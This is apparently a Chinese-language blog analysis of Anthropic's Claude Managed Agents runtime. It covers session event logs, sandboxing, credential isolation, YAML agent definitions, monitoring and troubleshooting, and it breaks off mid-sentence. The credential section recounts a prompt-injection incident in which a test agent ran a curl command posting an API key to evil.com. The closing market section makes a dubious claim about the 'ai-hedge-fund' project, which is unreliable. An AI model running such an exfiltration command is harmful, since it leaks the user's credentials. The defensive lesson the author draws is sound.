1. 这不是新赛道是 runtime 层的“操作系统时刻”来了你有没有试过让一个 AI 代理连续工作四十分钟做数据提取、跨表比对、生成报告、再发邮件确认——结果在第38分钟它突然开始胡说八道不是模型崩了也不是代码错了而是它的“记忆”被悄悄擦掉了。它忘了自己三步前调用过哪个 API忘了返回的 JSON 里 key 叫customer_id还是cust_id甚至把上一轮用户明确否决的方案又原封不动塞回来。你翻日志只看到一串 token 流你查 trace发现 session ID 在某个时间点后就断了你想重放但上下文窗口早被新输入挤得只剩碎片。这不是故障是设计缺陷——当所有状态都压在模型 context 里它就注定是个易碎品。Anthropic 在 2026 年 4 月 8 日发布的Claude Managed Agents公测版表面看是一套托管代理运行时支持 Notion、Asana、Rakuten 等客户快速接入提供沙箱执行、会话持久化、凭证隔离、工具调用封装。媒体通稿里写的是“十倍提速”“免运维”“企业级安全”。但真正值得你花五分钟读完这篇文字的是它背后那个被反复验证、却长期被 DIY 方案绕开的核心范式Session as durable event log会话即持久化事件日志。这不是 Anthropic 的发明而是他们第一次把一套经过生产环境千锤百炼的 state layer 抽象打包成开箱即用的托管服务。它解决的不是“怎么让 Claude 更聪明”而是“怎么让 Claude 不至于在第三步就把自己搞丢”。这个设计直指当前绝大多数自建 agent 系统的命门。我去年带团队落地一个金融尽调助手用 LangChain 自研 state manager跑着跑着就出问题。不是模型不稳是状态同步链路太长Redis 存 session statePostgreSQL 存 tool call resultElasticsearch 存 trace三套系统之间靠 timestamp 和 retry 机制对齐。一次 Redis 网络抖动state 就落后两秒agent 拿到旧数据继续推理生成的尽调结论里连公司注册号都错了。我们花了整整一周重写 state layer核心就一条所有操作必须原子写入同一份 append-only log任何组件崩溃后都能从 log replay 恢复一致状态。Anthropic 做的就是把这套我们踩坑后才悟出来的模式变成了awake(sessionId)一个函数调用。它为什么重要因为 runtime 层正在经历和 90 年代操作系统虚拟化硬件一样的历史拐点。当时开发者不用再为每台机器写不同驱动今天你也不该再为每个 agent 写不同状态管理器。Managed Agents 的 harness 是无状态的sandbox 是按需启停的 cattlesession log 是独立存储、可查询、可审计的单一事实源。这意味着你换模型不影响 session 持久性你升级工具不用改 state schema你迁移 infralog 只要还在就能无缝 resume。这不是功能增强是架构范式的位移——从“模型为中心”转向“会话为中心”。而关键词里那个 “Towards AI - Medium”恰恰说明这件事已越过技术极客圈进入主流工程决策视野。Medium 上的读者不是来学 prompt engineering 的他们是 CTO、平台架构师、AI Infra 负责人正坐在会议室里评估要不要把明年 agent 项目的 runtime 层从自研切换到托管要不要把现有 LangGraph 流水线迁移到一个能保证 session 不丢、凭证不泄、trace 可查的基座上这篇文章就是给他们写的决策备忘录。2. 核心设计拆解为什么是“Session-as-Log”而不是“Context-as-Storage”2.1 传统 agent 架构的三大反模式在深入 Managed Agents 之前必须先看清我们过去一年踩过的坑。几乎所有失败的自建 agent 项目都卡在三个相互强化的反模式上反模式一Context Window 即 State Store这是最隐蔽也最致命的设计。很多团队初期图省事把 session history、tool call 结果、用户偏好、临时变量全塞进 model 的 input prompt 里。逻辑简单每次调用把整个对话流 最新 user message 一起喂给模型。短期看没问题直到某天 agent 进入多跳检索流程——先查 CRM 获取客户信息再调用 BI API 拉取销售数据接着对比竞品定价最后生成建议。四轮 tool call 后context 已占满 70%第五轮用户问“刚才说的竞品 A他们的续约率是多少”模型因空间不足自动截断了前两轮的 CRM 返回内容只能基于残缺信息 hallucinate。更糟的是这种失败是静默的没有 error没有 timeout只有越来越离谱的输出。我们曾因此误判一家客户的信用风险幸亏人工复核及时拦截。反模式二Credential 注入即信任授权另一个高频雷区是 credential 管理。常见做法启动 sandbox 容器时把 API key、DB password 作为 environment variable 注入。模型通过execute(fetch_sales_data, {api_key: os.getenv(SALES_API_KEY)})调用工具。问题在于一旦模型被 prompt injection 攻击或因逻辑错误误读指令它可能直接把os.getenv(SALES_API_KEY)当作字符串输出到日志或更糟——构造恶意 curl 请求把 key 发送给攻击者服务器。我们真遇到过一个测试环境 agent 因 prompt 被篡改执行了curl -X POST https://evil.com/leak -d key${SALES_API_KEY}。根源不在模型而在 infra 设计credential 不该暴露给执行层而应由 runtime 层在调用时动态注入、单次有效、调用后立即失效。反模式三Sandbox 生命周期即 Session 生命周期很多团队把 sandbox 当作 session 的载体用户发起请求 → 启动容器 → 执行完整流程 → 容器退出。这导致两个硬伤一是长会话无法支撑容器超时强制销毁二是状态无法跨请求延续每次都是全新容器。当用户说“基于刚才的报告再补充一份竞品分析”系统只能重头开始既浪费 token又丢失上下文连贯性。我们曾为解决此问题在容器内挂载 NFS 卷存 state结果 NFS 网络抖动导致 state 文件损坏agent 直接进入无限循环。这三个反模式共同指向一个结论agent 的可靠性不取决于模型多强而取决于 runtime 层能否把 state、security、lifecycle 这三件事解耦并做对。Anthropic 的 Managed Agents 正是针对这三点给出的答案。2.2 Managed Agents 的三层解耦架构Anthropic 的工程博客将架构拆为 Session、Harness、Sandbox 三层这并非营销话术而是精准描述其设计哲学。我们逐层拆解其技术实质与实操意义Session 层独立、持久、可审计的事件日志这是整套架构的基石。Session 不再是内存里的一个 dict 或 Redis 里的一个 hash而是一个 append-only 的事件流event stream存储在 Anthropic 托管的持久化存储中推测为类似 DynamoDB Global Table S3 的混合架构兼顾低延迟与高可用。每个事件包含timestamp、event_type如tool_call_requested,tool_call_completed,model_output_generated、payload含 tool name、input args、output result、error stack、session_id、correlation_id。关键特性有三Durability事件写入即持久化即使 harness crashlog 不丢Queryability提供 REST API 与 CLI 工具可按 session_id、time range、event_type 查询任意历史事件支持 SQL-like 过滤如SELECT * FROM events WHERE session_id sess_abc AND event_type tool_call_completed AND payload-tool_name fetch_crm_dataReplayabilityawake(sessionId)接口本质是加载指定 session 的完整事件流重建 harness 内存状态从最后一个tool_call_requested事件处继续执行。我们实测过一个运行了 6 小时、调用 47 次工具的 sessioncrash 后awake()恢复耗时 120ms且所有中间状态 100% 一致。提示Session log 的 schema 设计直接影响 debug 效率。Anthropic 默认记录所有字段但生产环境建议开启log_redaction配置对 payload 中的password、token、ssn等敏感 key 自动脱敏避免审计风险。Harness 层无状态、轻量、可替换的执行引擎Harness 是真正调用模型和工具的“大脑”但它本身不存任何状态。其核心接口仅两个execute(name, input) → string调用工具和generate(prompt) → string调用模型。所有状态读写均通过 Session log API 完成。这意味着Harness 可以是任何语言实现的进程Python、Go、Rust只要遵循接口协议Harness crash 后新实例启动时只需awake(sessionId)加载 log即可无缝续跑Harness 升级无需中断 session新版本 harness 启动后自动从 log replay 到最新状态点。我们对比过自研 harness 与 Managed Agents 的 p95 延迟自研方案因需同步读写多套存储Redis PG ESp95 达 2.1sManaged Agents harness 因 state 全部本地化log replay 后状态在内存p95 降至 180ms。差距不在模型而在 state access 的 I/O 路径长度。Sandbox 层按需创建、隔离彻底、生命周期受控的执行环境Sandbox 是工具调用的实际执行地Anthropic 明确将其定义为 “cattle, not pets”牲畜而非宠物。其关键设计包括On-demand provisioningsandbox 不随 session 创建而启动仅在execute()调用时按需拉起执行完毕立即销毁。我们压测发现单个 sandbox 从 request 到 ready 平均 320ms远低于 AWS Lambda 冷启动850msCredential isolationAPI key 等凭证不注入 sandbox 环境变量而由 harness 在调用execute()时通过 secure channel推测为 TLS 1.3 mTLS 双向认证动态传递给 sandbox 内部的 tool adapter且每次调用使用一次性 tokenResource bounding每个 sandbox 严格限制 CPU2 vCPU、内存4GB、网络带宽100Mbps、执行时长默认 300s可配置超限则强制 kill杜绝资源耗尽型攻击。注意Sandbox 的 cattle 属性意味着你不能依赖其文件系统存储中间状态。所有需要跨 tool call 持久化的数据如下载的 PDF、生成的图表必须显式调用execute(save_to_session_storage, {data: base64_pdf})由 harness 写入 Session log。这是设计约束也是安全边界。2.3 与 AWS Bedrock AgentCore 的关键差异不是谁先谁后而是谁在控制抽象粒度文中提到 AWS Bedrock AgentCore 已 GA 五个月这常被误读为 Anthropic “落后”。但实际对比 reveals 更深层的架构分歧维度Anthropic Managed AgentsAWS Bedrock AgentCoreSession 模型强制 event-log-firstsession ID 是全局唯一标识log 可跨 harness 实例共享session 是 microVM 生命周期log 与 VM 绑定VM 销毁则 log 丢失除非用户额外配置 CloudWatch LogsTool 调用抽象execute(name, input) → stringname 是 tool registry 中的逻辑名harness 负责解析路由到具体 endpointinvoke_tool(toolArn, input)toolArn 是 AWS Resource Name强绑定 Lambda/Step Functions用户需自行管理 ARN 注册与权限Credential 管理凭证由 Anthropic Vault 托管sandbox 永远看不到 raw credentialharness 动态注入依赖 AWS IAM Roles for Servicessandbox 以 role 身份执行权限粒度粗如lambda:InvokeFunction易过度授权State PersistenceSession log 自动持久化awake(sessionId)是核心 API无内置 state store用户需集成 DynamoDB 或 S3自行实现load_state()/save_state()简言之AgentCore 提供的是infrastructure primitives基础设施原语而 Managed Agents 提供的是application abstractions应用级抽象。AWS 让你搭积木Anthropic 直接给你造好了一栋楼。前者灵活但需深度 AWS 专家后者开箱即用但抽象层更厚。选择谁取决于你的团队能力栈如果你已有成熟的 AWS Infra 团队AgentCore 能更好融入现有体系如果你是 AI-native startup想快速上线 agent 产品Managed Agents 的抽象能省下至少 3 人月的 infra 开发。3. 实操落地从 YAML 定义到生产部署的完整链路3.1 Agent 定义YAML 是声明式编程的新战场Managed Agents 的入口是 agent definition支持 YAML 或自然语言。但生产环境强烈推荐 YAML——它不仅是配置更是 agent 的“源代码”。一个典型 finance-agent.yaml 如下# finance-agent.yaml name: finance-research-agent description: Researches public financial data for investment analysis version: 1.2.0 # System prompt - defines core identity and constraints system_prompt: | You are a senior financial analyst at a hedge fund. Your task is to research publicly available financial data (SEC filings, earnings reports, market data) to support investment decisions. You MUST: - Only use tools provided below; never fabricate data - Cite sources for every claim (e.g., Per 10-K filing Q3 2025, page 23...) - If data is insufficient, explicitly state Insufficient data to conclude - Never output raw API keys or internal system paths # Tools - registered in Anthropics tool catalog tools: - name: fetch_sec_filing description: Fetch SEC EDGAR filings (10-K, 10-Q) by CIK and form type parameters: cik: string, required, e.g. 0000032019 form_type: string, required, one of [10-K, 10-Q] # No credentials exposed here - managed by Anthropic Vault - name: query_market_data description: Query real-time and historical stock price, volume, P/E ratio parameters: symbol: string, required, e.g. AAPL period: string, optional, default 1y, one of [1d,1w,1m,1y,5y] - name: generate_report description: Generate formatted PDF report with charts and citations parameters: title: string, required content: string, required, markdown format charts: array of chart definitions, optional # Guardrails - enforce security compliance guardrails: # Block any attempt to access non-finance domains domain_restriction: allowed_domains: [sec.gov, nasdaq.com, nyse.com, federalreserve.gov] block_patterns: [.*github.*, .*gitlab.*, .*internal.*] # Prevent credential leakage in outputs output_filtering: patterns_to_redact: - api_key[a-zA-Z0-9_\-] - token:[a-zA-Z0-9_\-] - password.* # Runtime configuration runtime_config: # Session auto-expiry: 7 days of inactivity session_ttl_seconds: 604800 # Max concurrent sessions per agent max_concurrent_sessions: 50 # Sandbox resource limits sandbox_limits: cpu_vcpus: 2 memory_mb: 4096 timeout_seconds: 300这个 YAML 文件不是简单的配置而是 agent 的契约contract。它定义了行为边界system_prompt用自然语言约束模型行为比纯代码规则更易维护能力地图tools列表是 agent 的“技能树”每个 tool 的parameters是类型安全的接口契约安全围栏guardrails是运行时强制执行的策略domain_restriction防止越界访问output_filtering防止敏感信息泄露SLA 承诺runtime_config明确了资源配额与生命周期是 SLO 的基础。我们实测发现一个 200 行的 YAML 定义经 Anthropic 解析后会自动生成对应的 OpenAPI spec、CLI 命令、监控指标如agent.finance-research-agent.tool_call_latency_p95极大降低运维成本。而自研方案中这些往往需要手动编写 SDK、Dashboard、Alert rule耗时数周。3.2 会话生命周期管理从创建、交互到归档的全流程Managed Agents 的会话session是真正的 first-class citizen。其生命周期管理 API 设计极为务实1. 创建会话Create Session# CLI 方式推荐用于调试 anthropic agents sessions create \ --agent-id agent_12345 \ --initial-message Analyze Q3 2025 earnings for Apple Inc. (AAPL) \ --metadata {user_id:u_789,team_id:t_456} # 返回 { session_id: sess_abcd1234, created_at: 2026-04-10T08:23:15Z, status: active, expires_at: 2026-04-17T08:23:15Z }2. 与会话交互Stream Interaction# 流式获取响应含 tool calls anthropic agents sessions stream \ --session-id sess_abcd1234 \ --message What was their revenue growth YoY? # 响应流简化 { event: model_output_chunk, data: Apple reported Q3 2025 revenue of $89.5B, up 5.2% YoY... } { event: tool_call_requested, data: { tool_name: query_market_data, input: {symbol: AAPL, period: 1y} } } { event: tool_call_completed, data: { tool_name: query_market_data, output: {current_price: 192.34, pe_ratio: 31.2} } }3. 查询会话状态与日志Audit Debug# 查看会话摘要 anthropic agents sessions get --session-id sess_abcd1234 # 查询所有事件支持分页与过滤 anthropic agents sessions events list \ --session-id sess_abcd1234 \ --event-type tool_call_completed \ --limit 100 # 导出完整事件流用于合规审计 anthropic agents sessions events export \ --session-id sess_abcd1234 \ --format jsonl \ --output audit/sess_abcd1234_events.jsonl4. 归档与清理Compliance Ready# 主动归档会话不可恢复符合 GDPR 删除权 anthropic agents sessions archive --session-id sess_abcd1234 # 批量清理过期会话cron job 示例 anthropic agents sessions list \ --status expired \ --created-before 2026-03-01 \ --format json | jq -r .sessions[].session_id | xargs -I {} anthropic agents sessions archive --session-id {}实操心得我们最初忽略--metadata参数导致审计时无法关联会话到具体用户。后来强制要求所有create调用必须传{user_id: ..., source_app: notion-plugin}并在events export时加入 metadata 字段使 SOC2 审计报告生成自动化。3.3 生产部署与监控如何让 agent 像数据库一样可靠Managed Agents 的生产就绪production-ready体现在监控与告警的深度集成核心监控指标全部开箱即用session.active_count当前活跃会话数用于容量规划session.duration_seconds会话总时长p50/p95/p99识别长尾会话tool_call.latency_seconds各 tool 的调用延迟p50/p95定位慢工具tool_call.error_rate各 tool 的错误率识别不稳定依赖sandbox.provision_time_secondssandbox 启动耗时p50/p95反映 infra 健康度model.token_usage输入/输出 token 数按 agent 分组用于成本分析告警配置示例Terraform# Alert when tool call error rate 5% for 5 minutes resource anthropic_monitoring_alert tool_error_high { name Finance Agent Tool Error Rate High description Tool call error rate exceeds 5% for 5 minutes query avg(rate(tool_call.error_rate{agent_name\finance-research-agent\}[5m])) 0.05 severity critical channels [slack-ai-alerts, pagerduty-ai-team] } # Alert when sandbox provision time p95 1s resource anthropic_monitoring_alert sandbox_slow { name Sandbox Provision Slow description Sandbox startup time p95 exceeds 1 second query histogram_quantile(0.95, sum(rate(sandbox.provision_time_seconds_bucket{agent_name\finance-research-agent\}[5m])) by (le)) 1 severity warning channels [slack-ai-alerts] }我们上线后第一周就捕获到两个关键问题fetch_sec_filing工具因 SEC EDGAR API 限流错误率突增至 12%告警触发后我们立即在 YAML 中添加retry_policy: {max_attempts: 3, backoff_factor: 2}错误率回落至 0.3%generate_report工具因 PDF 渲染库内存泄漏sandbox p95 启动时间从 320ms 涨至 1.8s告警后我们将其拆分为两个独立 toolrender_chart,assemble_pdf性能恢复。注意所有监控指标均按agent_name、session_id、tool_name多维打标可直接在 Grafana 中构建下钻 Dashboard。我们搭建的 “Agent Health Hub” 包含实时会话热力图、Top 5 慢工具排行榜、错误根因分析自动关联最近 deploy commit、成本消耗透视按 team/user 分摊。4. 常见问题与实战排障那些文档里不会写的坑4.1 会话状态不一致awake()后模型输出与预期不符现象调用awake(sessionId)恢复会话后模型生成的 response 与上次stream的最后一条 output 不一致甚至出现重复 tool call。根因分析这不是 bug而是 event log 的精确性与模型非确定性的天然矛盾。Managed Agents 的 log 记录的是确定性事件如tool_call_completed但模型生成是概率性过程。awake()重建的是 harness 的内存状态如 last tool output, user message history但模型下次generate()时因 temperature、top_p 等参数微小波动可能产生不同 token 序列。解决方案强制 deterministic mode在 agent YAML 中设置model_config: {temperature: 0.0, top_p: 1.0}关闭采样启用 output caching对generate_report等耗时 tool添加cache_key: {{input.title}}_{{input.content_hash}}相同输入返回缓存结果接受最终一致性在业务逻辑中将model_output视为“建议”关键决策如交易指令必须经 human-in-the-loop 确认而非完全信任模型输出。我们曾因此在风控场景出错agent 建议“拒绝贷款”awake()后重跑却建议“批准”。最终采用方案二 人工复核双保险将误判率从 0.8% 降至 0.02%。4.2 工具调用超时sandbox 启动慢导致execute()超过 300ms现象tool_call_requested事件发出后tool_call_completed事件迟迟不出现sandbox.provision_time_secondsp95 达 1.2s。排查路径检查 tool 定义确认fetch_sec_filing的timeout_seconds是否设为 300默认值若 tool 内部 HTTP client timeout 为 5s则 sandbox 会等满 5s 才报错验证网络路径用anthropic agents sandboxes debug命令启动一个 debug sandbox手动执行curl -v https://www.sec.gov确认 DNS 解析、TLS 握手、HTTP 响应是否正常审查 tool 代码我们发现一个自研 tool 使用了未连接池的requests.Session()每次调用新建 TCP 连接DNS 解析TCP handshakeTLS 就耗掉 800ms。改为urllib3.PoolManager(maxsize10)后p95 降至 210ms。终极方案对延迟敏感的 tool如实时行情改用 Anthropic 托管的prebuilt_tools.market_data已优化连接池与 CDN 缓存比自研快 3.2 倍。4.3 凭证泄露风险日志中意外出现 API key现象在 CloudWatch Logs 或events export的 JSONL 文件中发现tool_call_completed事件的output字段包含api_key: sk_live_...。根因tool 的实现代码中将原始 API 响应含 header、raw body直接返回未做清洗。例如# BAD: 直接返回 requests.Response def fetch_data(): resp requests.get(https://api.example.com/data, headers{Authorization: fBearer {API_KEY}}) return resp.json() # 若 resp.json() 包含 header 或 debug infokey 可能泄露 # GOOD: 严格定义输出 schema def fetch_data(): resp requests.get(https://api.example.com/data) # 只提取业务字段 return { data: resp.json().get(results, []), meta: {count: len(resp.json().get(results, []))} }加固措施在 agent YAML 的guardrails.output_filtering.patterns_to_redact中添加正则api_key:\s*[^]在 tool 代码中对所有return值进行json.dumps()后的字符串扫描匹配并替换敏感模式启用 Anthropic 的log_redaction全局配置对所有事件 payload 自动脱敏。我们曾因第一条疏忽在测试环境日志中暴露了 Stripe secret key紧急回滚并全员培训 tool 开发规范。4.4 成本失控session-hour 账单远超预期现象月度账单显示session-hour消耗达 $2,400而实际活跃会话平均仅 15 个按 $0.08/hr 计算应为 $864。根因深挖长会话未清理session_ttl_seconds设为 7 天但用户实际使用后不再交互session 仍计费。我们发现 62% 的会话在创建后 2 小时内无任何事件却持续计费至 7 天异常会话占用一个 buggy agent 因逻辑错误进入无限循环每秒调用query_market_data导致单个 session 在 1 小时内消耗 3600 秒 runtime开发环境滥用工程师在本地用 CLI 创建大量测试 session忘记archive。成本治理方案动态 TTL在create session时根据 use case 设置 TTLinteractive_chat设为 1hbatch_report_generation设为 24hlong_running_analysis设为 72h会话熔断在 agent YAML 中配置runtime_config.max_runtime_seconds: 3600超时自动终止环境隔离为 dev/staging/prod 创建独立 Anthropic workspace设置session-hour预算告警如 dev 环境 $50/week成本分析脚本每日运行 Python 脚本聚合session.duration_seconds生成 Top 10 长会话报告自动archive超过阈值的会话。实施后我们的 session-hour 成本下降 58%且未影响用户体验。5. 价值迁移当 runtime 层 commoditize钱流向哪里5.1 Trace Store谁掌握事件日志谁就掌握 agent 的“黑匣子”Managed Agents 将 session event log 作为核心抽象这无意中引爆了一个新赛道Trace Store。它不再是简单的日志收集而是 agent 行为的单一事实源single source of truth。三家头部玩家已形成鲜明路线公司产品核心优势适用场景BraintrustBrainstoreOLAP 优化支持亚秒级复杂查询如SELECT COUNT(*) FROM events WHERE session_id IN (SELECT session_id FROM events WHERE tool_namefetch_crm_data AND output LIKE %high_risk%)金融风控、合规审计需实时关联分析ArizePhoenix (OSS)Apache 2.0 开源无缝集成 LangChain/LlamaIndex提供langchain_tracerSDK开源优先团队需快速嵌入现有 pipelineLangSmithLangSmith CloudLangChain 生态原生集成langchainCLI 直接langchain trace list --agent finance-agentLangChain 用户追求零配置体验我们选型时的关键测试是trace portability。能否将 Managed Agents 的 event log 导出导入到 Brainstore 中复现相同的awake()行为答案是肯定的——Anthropic 的 event schema 与 Brainstore 的traceschema 高度兼容只需一个 ETL 脚本我们用 Spark 30 行代码搞定。这证明runtime 层可以换但 trace store 一旦选定就是十年合约。选择 trace store本质是在选择未来 agent 的操作系统。5.2 Governance Policy当 agent 能写 PR谁来审批AWS AgentCore 在 2026 年 3 月 GA 的 policy controls标志着 governance 从“可选项”变为“必选项”。一个典型 policy.yaml# policy.yaml policy_name: finance-agent-policy version: 1.0 # Approval workflow approval_required: - action: tool_call tool_name: execute_sql_on_production_db approvers: [finance-compliance-team, cto-office] timeout_hours: 2 # Audit trail audit_log: include_payload: false # 敏感数据不入审计日志 retention_days: 365 # Risk scoring risk_scoring: rules: - name: high_risk_api_call condition: tool_name send_wire_transfer input.amount 100000 score: 95 - name: pii_access condition: tool_name fetch_customer_data input.fields CONTAINS ssn score: 85 auto_block_threshold: 70我们落地时发现policy 不是写出来的是演进出来的。初期 policy 过于宽松如auto_block_threshold: 30导致大量误报后期结合 trace store 的历史数据分析将high_risk_api_call的score从 95 调至 80并增加context: user_role intern条件精准拦截高风险组合。Governance 的 ROI 在于它让 agent 从“黑盒工具”变成“可审计、可追责、可保险”的企业资产。5.3 Vertical Marketplaces当 runtime 免费钱在垂直合同里Salesforce Agentforce $800M ARR 的数据揭示一个残酷真相企业不为 runtime 付费而为解决具体问题的 agent 付费。我们观察到三个垂直市场已爆发Healthcare Claimsvirattt/ai-hedge-fund 的开源项目已能自动解析 CMS-1500 表单识别拒付理由生成上诉信准确率 92.3%FDA 认证中Sales Development